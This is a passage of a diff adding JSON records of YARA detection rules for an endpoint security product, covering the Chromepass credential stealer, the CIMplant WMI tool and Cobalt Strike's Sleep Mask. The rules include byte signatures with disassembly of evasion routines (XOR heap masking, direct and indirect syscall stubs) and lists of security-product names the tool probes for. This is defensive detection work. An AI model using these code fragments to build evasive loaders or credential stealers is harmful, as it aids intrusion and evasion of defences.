{\n            F3 [4-5]                             // movdqu  xmm1, xmmword [rax+r9]\n            F3 [4-5] 10                          // movdqu  xmm2, xmmword [rax+r9+0x10]\n            66 0F EF C8                          // pxor    xmm1, xmm0\n            66 0F EF D0                          // pxor    xmm2, xmm0\n            F3 [4-5]                             // movdqu  xmmword [rdx+r9], xmm1\n            F3 [4-5] 10                          // movdqu  xmmword [rdx+r9+0x10], xmm2\n        }\n\n    condition:\n        1 of ($s*) or ($nt_query_info_process and $litcrypt_stub)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chromepass"
+  ],
+  "rule_creation_date": "2026-01-28",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Chromepass"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003",
+    "attack.t1005"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cimplant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572187Z",
+  "creation_date": "2026-03-23T11:46:25.572189Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572195Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/RedSiege/CIMplant\nhttps://unit42.paloaltonetworks.com/muddled-libra/\nhttps://blog.sekoia.io/scattered-spider-laying-new-eggs/"
+  ],
+  "name": "cimplant.yar",
+  "content": "rule cimplant {\n    meta:\n        title = \"CIMplant HackTool\"\n        id = \"79063e2d-3b36-4a29-8e78-9a0849bfed39\"\n        description = \"Detects CIMplant, a C# port of WMImplant, which uses either CIM or WMI to query remote systems.\\nIt allows for information gathering about a remote system, command execution, data exfiltration, and more.\\nIt is known to be used by different threat actors such as Scattered Spider, or its related actor, Muddled Libra.\\nIt is recommended to verify if the usage of this tool is legitimate.\"\n        references = \"https://github.com/RedSiege/CIMplant\\nhttps://unit42.paloaltonetworks.com/muddled-libra/\\nhttps://blog.sekoia.io/scattered-spider-laying-new-eggs/\"\n        date = \"2024-11-12\"\n        modified = \"2025-03-31\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1652;attack.t1518.001;attack.t1057;attack.t1654;attack.t1012;attack.reconnaissance;attack.t1590.005;attack.execution;attack.t1047;attack.lateral_movement;attack.defense_evasion;attack.t1112;attack.t1562.001\"\n        classification = \"Windows.HackTool.CIMplant\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a9c2b1d860dbf2e522d51e0f67f6403810a08d58d03ccabcd0d7f4b5216489bd\n        // 6fd2a9c4ff340d1a9f6ed90a135fc2a7c1e5b0f7dea886b441b2c7e65b44ee15\n        // 4648f114bf15078e98b21d3beb0bbf76014f96c97adcafdd5adb2d2bf37a6e39\n        // 4013646a92e1988103839af430daa2a8f0d739feca86754771873693f6ed25f1\n        // 169d05e1ce39022948e8c4fe4e100820abe8765304d3785800acbe04465d1279\n        // a899f49c52ac1aa93e1f46a998b8314e3a773ad0475ba16dca5cc90abc737ac6\n        // dc013e00357fdf5a7823431050acbfefc0e61038374a93c863a194fcc03566d8\n\n        $str_generic_1 = \"Malwarebytes Found!\" wide fullword\n        $str_generic_2 = \"SELECT * FROM Win32_Process WHERE Name like '\" wide fullword\n        $str_generic_3 = \"[-] Registry key does not exist or another issue occurred\" wide fullword\n        $str_generic_4 = \"CIMplant\" ascii fullword\n        $str_generic_5 = \"[-] ERROR: Unable to connect using either CIM or WMI.\" wide fullword\n\n        $str_pop_1 = \"Tanium.exe\" wide fullword\n        $str_pop_2 = \"csagent.sys\" wide fullword\n        $str_pop_3 = \"carbonblackk.sys\" wide fullword\n        $str_pop_4 = \"regmon.exe\" wide fullword\n\n        // CIMplant.ExecuteCim.basic_info()\n        $stub_cim_basic_info = {\n            7B ?? 00 00 04    // ldfld\n            7B ?? 00 00 04    // ldfld\n            [0-2]\n            7E ?? 00 00 04    // ldsfld\n            72 ?? ?? 00 70    // ldstr       \"WQL\"\n            72 ?? ?? 00 70    // ldstr       \"SELECT * FROM Win32_OperatingSystem\"\n            6F ?? 00 00 0A    // callvirt\n            [0-3]\n            6F ?? 00 00 0A    // callvirt\n            [0-2]\n            38 ?? 01 00 00    // br\n            [0-2]\n            6F ?? 00 00 0A    // callvirt\n            [0-2]\n            72 ?? ?? 00 70    // ldstr       \"{0, -20}: {1, -10}\"\n            72 ?? ?? 00 70    // ldstr       \"Computer Name\"\n        }\n\n        // CIMplant.ExecuteWmi.basic_info()\n        $stub_wmi_basic_info = {\n            7B ?? 00 00 04    // ldfld\n            7B ?? 00 00 04    // ldfld\n            [0-2]\n            72 ?? ?? 00 70    // ldstr       \"SELECT * FROM Win32_OperatingSystem\"\n            73 ?? ?? 00 0A    // newobj\n            [0-3]\n            73 ?? ?? 00 0A    // newobj\n            [0-2]\n            6F ?? ?? 00 0A    // callvirt\n            [0-3]\n            6F ?? ?? 00 0A    // callvirt\n            [0-2]\n            38 ?? 00 00 00    // br\n            [0-2] 6F ?? ?? 00 0A    // callvirt\n            [0-5]\n            74 ?? 00 00 01    // castclass\n            [0-2]\n            72 ?? ?? 00 70    // ldstr      \"{0, -20}: {1, -10}\"\n            72 ?? ?? 00 70    // ldstr      \"Computer Name\"\n        }\n\n    condition:\n        all of ($stub_*) or\n        (\n            uint16(0) == 0x5a4d and\n            (\n                3 of ($str_generic_*) and\n                2 of ($str_pop_*)\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cimplant"
+  ],
+  "rule_creation_date": "2024-11-12",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.CIMplant"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1654",
+    "attack.t1562.001",
+    "attack.t1518.001",
+    "attack.t1012",
+    "attack.t1652",
+    "attack.t1057",
+    "attack.t1590.005",
+    "attack.t1112"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_sleepmask_d5d229ede052_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571096Z",
+  "creation_date": "2026-03-23T11:46:25.571099Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571104Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_sleepmask_d5d229ede052.yar",
+  "content": "rule cobalt_sleepmask_d5d229ede052 {\n    meta:\n        title = \"Cobalt Strike Sleep Mask (d5d229ede052)\"\n        id = \"644354d2-2c89-41e1-bd3f-d5d229ede052\"\n        description = \"Detects Cobalt Strike's Sleep Mask Kit for x86.\\nCobalt Strike's Sleep Mask Kit modifies how the sleep mask function looks in memory to evade static signatures identifying beacons.\\nIt uses an XOR key to obfuscate the sleep mask function, which can be changed by modifying a single variable.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-01-02\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b24989e509360a84a9ea48a8e92498008bb4493c70e8f9b66c4155fbdf9fe8a5\n        // 9a96f9deb2355b4a28b5dfc4553c019a3b6cc2dc073325d5bc54da2643d1fa99\n        // 39682977ed7a3f5f53968995969ef4ee3602d9366e297b5d7a38e56b79bd3e8e\n\n        $sleep_mask = {\n            41 55                                         // push    r13\n            41 54                                         // push    r12\n            48 83 EC 28                                   // sub     rsp, 28h\n            45 89 C5                                      // mov     r13d, r8d\n            49 89 CC                                      // mov     r12, rcx\n            E8 ?? ?? ?? ??                                // call    mask_sections\n            E8 ?? ?? ?? ??                                // call    mask_heap\n            FF 15 ?? ?? ?? ??                             // call    cs:__imp_KERNEL32$GetCurrentProcess\n            44 89 EA                                      // mov     edx, r13d\n            48 89 C1                                      // mov     rcx, rax\n            FF 15 ?? ?? ?? ??                             // call    cs:__imp_KERNEL32$WaitForSingleObject\n            4C 89 E1                                      // mov     rcx, r12\n            E8 ?? ?? ?? ??                                // call    mask_heap\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            41 5C                                         // pop     r12\n            41 5D                                         // pop     r13\n\n                                        // loc_DB:\n            E9 ?? ?? FF FF                                // jmp     mask_sections\n        }\n\n        $setup_text_section = {\n            83 3D ?? ?? 00 00 00                          // cmp     cs:initialized, 0\n            75 3B                                         // jnz     short locret_E3\n            C7 05 ?? ?? 00 00 01 00 00 00                 // mov     cs:initialized, 1\n            48 8B 51 08                                   // mov     rdx, [rcx+8]\n\n                                        // loc_B6:\n            8B 02                                         // mov     eax, [rdx]\n            8B 4A 04                                      // mov     ecx, [rdx+4]\n            48 83 C2 08                                   // add     rdx, 8\n            09 C1                                         // or      ecx, eax\n            74 20                                         // jz      short locret_E3\n            3D 00 10 00 00                                // cmp     eax, 1000h\n            74 19                                         // jz      short locret_E3\n            76 EA                                         // jbe     short loc_B6\n            48 BA 01 00 00 00 00 10 00 00                 // mov     rdx, 100000000001h\n            89 05 ?? ?? ?? 00                             // mov     cs:dword_210, eax\n            48 89 15 ?? ?? ?? 00                          // mov     cs:text_section, rdx\n\n                                        // locret_E3:\n            C3                                            // retn\n        }\n\n        $mask_heap = {\n            53                                            // push    rbx\n            45 31 DB                                      // xor     r11d, r11d\n            BB 0D 00 00 00                                // mov     ebx, 0Dh\n\n                                        // loc_5B:\n            48 8B 41 10                                   // mov     rax, [rcx+10h]\n            45 89 DA                                      // mov     r10d, r11d\n            49 C1 E2 04                                   // shl     r10, 4\n            4A 83 3C 10 00                                // cmp     qword ptr [rax+r10], 0\n            74 30                                         // jz      short loc_9D\n            45 31 C9                                      // xor     r9d, r9d\n\n                                        // loc_70:\n            48 8B 41 10                                   // mov     rax, [rcx+10h]\n            45 89 C8                                      // mov     r8d, r9d\n            4C 01 D0                                      // add     rax, r10\n            4C 3B 40 08                                   // cmp     r8, [rax+8]\n            73 18                                         // jnb     short loc_98\n            4C 03 00                                      // add     r8, [rax]\n            31 D2                                         // xor     edx, edx\n            44 89 C8                                      // mov     eax, r9d\n            41 FF C1                                      // inc     r9d\n            F7 F3                                         // div     ebx\n            89 D2                                         // mov     edx, edx\n            8A 44 11 18                                   // mov     al, [rcx+rdx+18h]\n            41 30 00                                      // xor     [r8], al\n            EB D8                                         // jmp     short loc_70\n\n                                        // loc_98:\n            41 FF C3                                      // inc     r11d\n            EB BE                                         // jmp     short loc_5B\n\n                                        // loc_9D:\n            5B                                            // pop     rbx\n            C3                                            // retn\n        }\n\n        $NtProtectVirtualMemory_embedded = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 1F 1D 9E 05                // mov     ecx, 59E1D1Fh\n            E8 ?? ?? ?? ??                // call    SW3_GetSyscallNumber\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            49 89 CA                      // mov     r10, rcx\n            0F 05                         // syscall\n            C3                            // retn\n        }\n\n        $NtProtectVirtualMemory_indirect = {\n            48 89 4C 24 08                                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                                // mov     [rsp+arg_18], r9\n            B9 1F 1D 9E 05                                // mov     ecx, 59E1D1Fh\n            51                                            // push    rcx\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? ?? ??                                // call    SW3_GetRandomSyscallAddress\n            48 83 C4 28                                   // add     rsp, 28h\n            59                                            // pop     rcx\n            50                                            // push    rax\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? ?? ??                                // call    SW3_GetSyscallNumber\n            48 83 C4 28                                   // add     rsp, 28h\n            41 5B                                         // pop     r11\n            48 8B 4C 24 08                                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                                // mov     r9, [rsp+arg_18]\n            49 89 CA                                      // mov     r10, rcx\n            41 FF E3                                      // jmp     r11\n        }\n\n        $SW3_HashSyscall = {\n            B8 1B 58 7C ED                                // mov     eax, 0ED7C581Bh\n            31 D2                                         // xor     edx, edx\n\n                                        // loc_14CEB5:\n            41 89 D0                                      // mov     r8d, edx\n            42 80 3C 01 00                                // cmp     byte ptr [rcx+r8], 0\n            74 16                                         // jz      short locret_14CED5\n            41 89 C1                                      // mov     r9d, eax\n            46 0F B7 04 01                                // movzx   r8d, word ptr [rcx+r8]\n            FF C2                                         // inc     edx\n            41 C1 C9 08                                   // ror     r9d, 8\n            45 01 C8                                      // add     r8d, r9d\n            44 31 C0                                      // xor     eax, r8d\n            EB E0                                         // jmp     short loc_14CEB5\n\n                                        // locret_14CED5:\n            C3                                            // retn\n        }\n\n    condition:\n        (($sleep_mask or $setup_text_section) and $mask_heap) or\n        (\n            ($sleep_mask or $setup_text_section or $mask_heap) and\n            (1 of ($NtProtectVirtualMemory_*) or $SW3_HashSyscall)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_sleepmask_d5d229ede052"
+  ],
+  "rule_creation_date": "2024-01-02",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_sleepmask_e3274b1c436e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567196Z",
+  "creation_date": "2026-03-23T11:46:25.567198Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567204Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_sleepmask_e3274b1c436e.yar",
+  "content": "rule cobalt_sleepmask_e3274b1c436e {\n    meta:\n        title = \"Cobalt Strike Sleep Mask (e3274b1c436e)\"\n        id = \"5b2f8caa-73ca-4e2d-9997-e3274b1c436e\"\n        description = \"Detects Cobalt Strike's Sleep Mask Kit for x86.\\nCobalt Strike's Sleep Mask Kit modifies how the sleep mask function looks in memory to evade static signatures identifying beacons.\\nIt uses an XOR key to obfuscate the sleep mask function, which can be changed by modifying a single variable.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-01-02\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c2f21faeab2084349b7fcafeb9f826bbd5444308f41bbaf49cca2bce5e459457\n        // 919feed3654955df33bf65cae52df7cf07ebe94c57f314a127feab15437cf526\n        // f42ae5af29d3a433f33464287cbfba6718db3977e73cadee4be2dbf9f16b5fbf\n\n        $sleep_mask = {\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            56                                            // push    esi\n            53                                            // push    ebx\n            83 EC 10                                      // sub     esp, 10h\n            8B 5D 08                                      // mov     ebx, [ebp+arg_0]\n            8B 75 10                                      // mov     esi, [ebp+arg_8]\n            89 1C 24                                      // mov     [esp], ebx\n            E8 ?? ?? ?? ??                                // call    _mask_sections\n            89 1C 24                                      // mov     [esp], ebx\n            E8 ?? ?? ?? ??                                // call    _mask_heap\n            FF 15 ?? ?? ?? ??                             // call    ds:__imp__KERNEL32$GetCurrentProcess@0\n            89 74 24 04                                   // mov     [esp+4], esi\n            89 04 24                                      // mov     [esp], eax\n            FF 15 ?? ?? ?? ??                             // call    ds:__imp__KERNEL32$WaitForSingleObject@8\n            50                                            // push    eax\n            50                                            // push    eax\n            89 1C 24                                      // mov     [esp], ebx\n            E8 ?? ?? ?? ??                                // call    _mask_heap\n            89 5D 08                                      // mov     [ebp+arg_0], ebx\n            8D 65 F8                                      // lea     esp, [ebp-8]\n            5B                                            // pop     ebx\n            5E                                            // pop     esi\n            5D                                            // pop     ebp\n            E9 ?? ?? FF FF                                // jmp     _mask_sections\n        }\n\n        $setup_text_section = {\n            83 3D ?? ?? ?? 00 00                          // cmp     ds:_initialized, 0\n            75 43                                         // jnz     short locret_F9\n            55                                            // push    ebp\n            C7 05 ?? ?? ?? 00 01 00 00 00                 // mov     ds:_initialized, 1\n            89 E5                                         // mov     ebp, esp\n            8B 45 08                                      // mov     eax, [ebp+8]\n            8B 50 04                                      // mov     edx, [eax+4]\n\n                                        // loc_C9:\n            8B 02                                         // mov     eax, [edx]\n            8B 4A 04                                      // mov     ecx, [edx+4]\n            83 C2 08                                      // add     edx, 8\n            09 C1                                         // or      ecx, eax\n            74 22                                         // jz      short loc_F7\n            3D 00 10 00 00                                // cmp     eax, 1000h\n            74 1B                                         // jz      short loc_F7\n            76 EB                                         // jbe     short loc_C9\n            C7 05 ?? ?? ?? 00 01 00 00 00                 // mov     ds:_text_section, 1\n            C7 05 ?? ?? ?? 00 00 10 00 00                 // mov     ds:dword_238, 1000h\n            A3 ?? ?? ?? 00                                // mov     ds:dword_23C, eax\n\n                                        // loc_F7:\n            5D                                            // pop     ebp\n            C3                                            // retn\n\n                                        // locret_F9:\n            C3                                            // retn\n        }\n\n        $mask_heap = {\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            57                                            // push    edi\n            56                                            // push    esi\n            53                                            // push    ebx\n            31 DB                                         // xor     ebx, ebx\n            52                                            // push    edx\n            8B 75 08                                      // mov     esi, [ebp+arg_0]\n\n                                        // loc_6F:\n            8B 46 08                                      // mov     eax, [esi+8]\n            83 3C 18 00                                   // cmp     dword ptr [eax+ebx], 0\n            74 2F                                         // jz      short loc_A7\n            31 C9                                         // xor     ecx, ecx\n\n                                        // loc_7A:\n            8B 46 08                                      // mov     eax, [esi+8]\n            01 D8                                         // add     eax, ebx\n            39 48 04                                      // cmp     [eax+4], ecx\n            76 1E                                         // jbe     short loc_A2\n            8B 38                                         // mov     edi, [eax]\n            31 D2                                         // xor     edx, edx\n            89 C8                                         // mov     eax, ecx\n            01 CF                                         // add     edi, ecx\n            41                                            // inc     ecx\n            89 7D F0                                      // mov     [ebp+var_10], edi\n            BF 0D 00 00 00                                // mov     edi, 0Dh\n            F7 F7                                         // div     edi\n            8A 44 16 0C                                   // mov     al, [esi+edx+0Ch]\n            8B 55 F0                                      // mov     edx, [ebp+var_10]\n            30 02                                         // xor     [edx], al\n            EB D8                                         // jmp     short loc_7A\n\n                                        // loc_A2:\n            83 C3 08                                      // add     ebx, 8\n            EB C8                                         // jmp     short loc_6F\n\n                                        // loc_A7:\n            58                                            // pop     eax\n            5B                                            // pop     ebx\n            5E                                            // pop     esi\n            5F                                            // pop     edi\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n        $NtProtectVirtualMemory_embedded = {\n            53                                            // push    ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            68 1F 1D 9E 05                                // push    59E1D1Fh\n            E8 ?? ?? ?? ??                                // call    _SW3_GetSyscallNumber\n            8D 64 24 04                                   // lea     esp, [esp+4]\n            B9 05 00 00 00                                // mov     ecx, 5\n\n                                        // push_argument:\n            49                                            // dec     ecx\n            FF 74 8D 0C                                   // push    [ebp+ecx*4+arg_0]\n            75 F9                                         // jnz     short push_argument\n            89 C1                                         // mov     ecx, eax\n            E8 ?? ?? ?? ??                                // call    _local_is_wow64\n            85 C0                                         // test    eax, eax\n            74 1A                                         // jz      short is_native\n            E8 ?? ?? ?? ??                                // call    _internal_cleancall_wow64_gate\n            8D 1D ?? ?? ?? 00                             // lea     ebx, ret_address_epilog\n            53                                            // push    ebx\n            53                                            // push    ebx\n            91                                            // xchg    eax, ecx\n            8D 54 24 08                                   // lea     edx, [esp+8]\n            89 CB                                         // mov     ebx, ecx\n            31 C9                                         // xor     ecx, ecx\n            FF E3                                         // jmp     ebx\n        }\n\n        $NtProtectVirtualMemory_indirect = {\n            57                                            // push    edi\n            53                                            // push    ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            68 1F 1D 9E 05                                // push    59E1D1Fh\n            E8 ?? ?? ?? ??                                // call    _SW3_GetSyscallAddress\n            89 C7                                         // mov     edi, eax\n            68 1F 1D 9E 05                                // push    59E1D1Fh\n            E8 ?? ?? ?? ??                                // call    _SW3_GetSyscallNumber\n            8D 64 24 04                                   // lea     esp, [esp+4]\n            B9 05 00 00 00                                // mov     ecx, 5\n\n                                        // push_argument:\n            49                                            // dec     ecx\n            FF 74 8D 10                                   // push    [ebp+ecx*4+arg_0]\n            75 F9                                         // jnz     short push_argument\n            89 C1                                         // mov     ecx, eax\n            89 C8                                         // mov     eax, ecx\n            8D 1D ?? ?? ?? 00                             // lea     ebx, ret_address_epilog\n            53                                            // push    ebx\n            E8 ?? ?? ?? ??                                // call    do_sysenter_interrupt\n            8D 64 24 04                                   // lea     esp, [esp+4]\n\n                                        // ret_address_epilog:\n            89 EC                                         // mov     esp, ebp\n            5D                                            // pop     ebp\n            5B                                            // pop     ebx\n            5F                                            // pop     edi\n            C3                                            // retn\n        }\n\n        $SW3_HashSyscall = {\n            55                                            // push    ebp\n            B8 1B 58 7C ED                                // mov     eax, 0ED7C581Bh\n            89 E5                                         // mov     ebp, esp\n            53                                            // push    ebx\n            8B 55 08                                      // mov     edx, [ebp+arg_0]\n\n                                        // loc_D8:\n            80 3A 00                                      // cmp     byte ptr [edx], 0\n            74 0F                                         // jz      short loc_EC\n            0F B7 0A                                      // movzx   ecx, word ptr [edx]\n            89 C3                                         // mov     ebx, eax\n            42                                            // inc     edx\n            C1 CB 08                                      // ror     ebx, 8\n            01 D9                                         // add     ecx, ebx\n            31 C8                                         // xor     eax, ecx\n            EB EC                                         // jmp     short loc_D8\n\n                                        // loc_EC:\n            5B                                            // pop     ebx\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n    condition:\n        (($sleep_mask or $setup_text_section) and $mask_heap) or\n        (\n            ($sleep_mask or $setup_text_section or $mask_heap) and\n            (1 of ($NtProtectVirtualMemory_*) or $SW3_HashSyscall)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_sleepmask_e3274b1c436e"
+  ],
+  "rule_creation_date": "2024-01-02",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_sleepmask_pivot_6188c6432063_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570760Z",
+  "creation_date": "2026-03-23T11:46:25.570762Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570768Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\nhttps://attack.mitre.org/software/S0154/"
+  ],
